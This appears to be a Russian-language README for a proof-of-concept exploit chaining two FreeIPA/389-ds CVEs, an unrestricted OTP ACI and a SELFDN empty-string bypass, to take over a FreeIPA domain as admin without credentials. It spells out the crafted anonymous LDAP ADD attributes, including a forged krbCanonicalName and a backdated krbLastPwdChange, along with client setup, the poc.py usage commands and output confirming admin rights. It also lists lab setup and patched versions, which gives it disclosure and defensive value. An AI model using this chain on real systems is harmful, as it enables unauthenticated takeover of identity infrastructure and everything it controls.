
Эксплойт proof-of-concept для CVE-2026-76578 и CVE-2026-76560, объединяющий анонимный LDAP ADD с обходом SELFDN в 389-ds для получения прав администратора домена FreeIPA.
Продукт: FreeIPA 4.9.x – 4.13.3
Критичность: Критическая (CVSS 9.8)
Исправлено: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Данное proof-of-concept было разработано и выполнено исключительно в изолированной, частной лабораторной среде с целью авторизованного исследования безопасности и валидации уязвимости.
Перед использованием этого скрипта:
Авторы не несут ответственности за неправомерное использование. Этот код предоставлен для защитных исследований и авторизованного тестирования на проникновение.
Примечание о переносимости: этот скрипт был проверен на конкретных версиях пакетов, перечисленных в разделе «Тестовая среда» ниже. Поведение на других версиях ОС, уровнях патчей или нестандартных конфигурациях FreeIPA может отличаться. Всегда проверяйте результаты независимо в контролируемой среде, прежде чем делать выводы о продуктивной цели.
| Параметр | Значение |
|---|---|
| ОС | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Домен | test.local |
| IP-адрес сервера | 192.168.1.11 |
| Имя хоста | ipa-master.test.local |
| Хост атакующего | Kali Linux (внешний, без членства в домене) |
Неаутентифицированный LDAP-клиент может добавить запись OTP-токена под cn=otp и
получить полные права администратора домена FreeIPA. Сочетаются две уязвимости:
CVE-2026-76578 (FreeIPA) — ACI для OTP ADD не имеет ограничения targetattr,
поэтому анонимный ADD может включать любой атрибут: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange и т. д.
CVE-2026-76560 (389-ds-base) — обработчик SELFDN считает "" (пустую
строку) совпадающей с DN анонимной привязки, обходя проверку владения
ipatokenOwner#SELFDN.
Ключевое наблюдение — не требуется предварительно захваченный blob, не нужен доступ к мастер-ключу:
Добавление objectClass: inetOrgPerson + userPassword к записи запускает
плагин ipapwd 389-DS, который автоматически генерирует krbPrincipalKey
на стороне сервера, шифруя его с помощью krbMKey целевого realm. Атакующий
предоставляет пароль в открытом виде; сервер выводит ключ Kerberos внутренне.
Установка krbLastPwdChange: 20200101000000Z (прошлая дата) в том же ADD обходит
политику krbMinPwdLife, которая иначе потребовала бы интерактивной смены пароля
перед успешным kinit.
| CVE | Компонент | Описание |
|---|---|---|
| CVE-2026-76578 | FreeIPA | ACI для OTP не имеет targetattr — любой атрибут проходит анонимный ADD |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true требуется для Уровня 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey зашифрован с помощью krbMKey цели (мастер-ключа).
Мастер-ключ хранится в LDAP по адресу cn=REALM,cn=kerberos и доступен для чтения только
Directory Manager — не анонимно, не uid=admin через GSSAPI.
Внедрение krbPrincipalKey напрямую невозможно без мастер-ключа.
Внедрение userPassword делегирует генерацию ключа плагину ipapwd сервера,
который имеет внутренний доступ к krbMKey и выполняет шифрование
прозрачно. ACI (CVE-2026-76578) пропускает userPassword без проверки
targetattr.
Плагин уникальности kerberos обеспечивает уникальность krbPrincipalName и
krbPrincipalAlias по всему суффиксу, но не для krbCanonicalName.
Новая запись в cn=otp с krbCanonicalName: admin@REALM не конфликтует
с реальным принципалом admin.
При canonicalize = true на клиенте kinit attacker@REALM извлекает
запись по krbPrincipalName, но KDC выдаёт TGT с
cname = krbCanonicalName = admin@REALM. GSSAPI сопоставляет это с реальным
DN uid=admin — уже являющимся законным членом cn=admins. Модификация
группы не выполняется.
Когда добавляется userPassword, ipapwd устанавливает krbPasswordExpiration в текущее
время (истёк) и krbLastPwdChange в текущее время. При значении по умолчанию krbMinPwdLife = 3600s
kinit запросил бы смену пароля перед выдачей TGT.
Установка krbLastPwdChange: 20200101000000Z в исходном ADD переопределяет
значение плагина на шесть лет назад, удовлетворяя проверке минимального времени жизни.
krbPasswordExpiration: 20990101000000Z предотвращает запрос об истечении срока. Оба
атрибута принимаются, поскольку ACI для OTP не имеет ограничения targetattr.
Чтобы развернуть уязвимый экземпляр FreeIPA на чистой виртуальной машине:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 добавляет явный список разрешённых targetattr в ACI для OTP, блокируя
анонимное внедрение userPassword, krbPrincipalAux, krbPrincipalKey и
krbCanonicalName.
389-ds-base 3.2.0-10.el10_2 исправляет обработчик SELFDN, чтобы отклонять "" как
совпадающий DN для анонимных привязок.
Оба исправления требуются независимо — любое из них по отдельности уменьшает, но не устраняет поверхность атаки.
| 389-ds-base |
Обработчик SELFDN принимает "" как DN анонимной привязки |
| Компонент | Уязвим | Исправлено |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < patched build | см. соответствующий бюллетень |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | не исправлено на момент тестирования |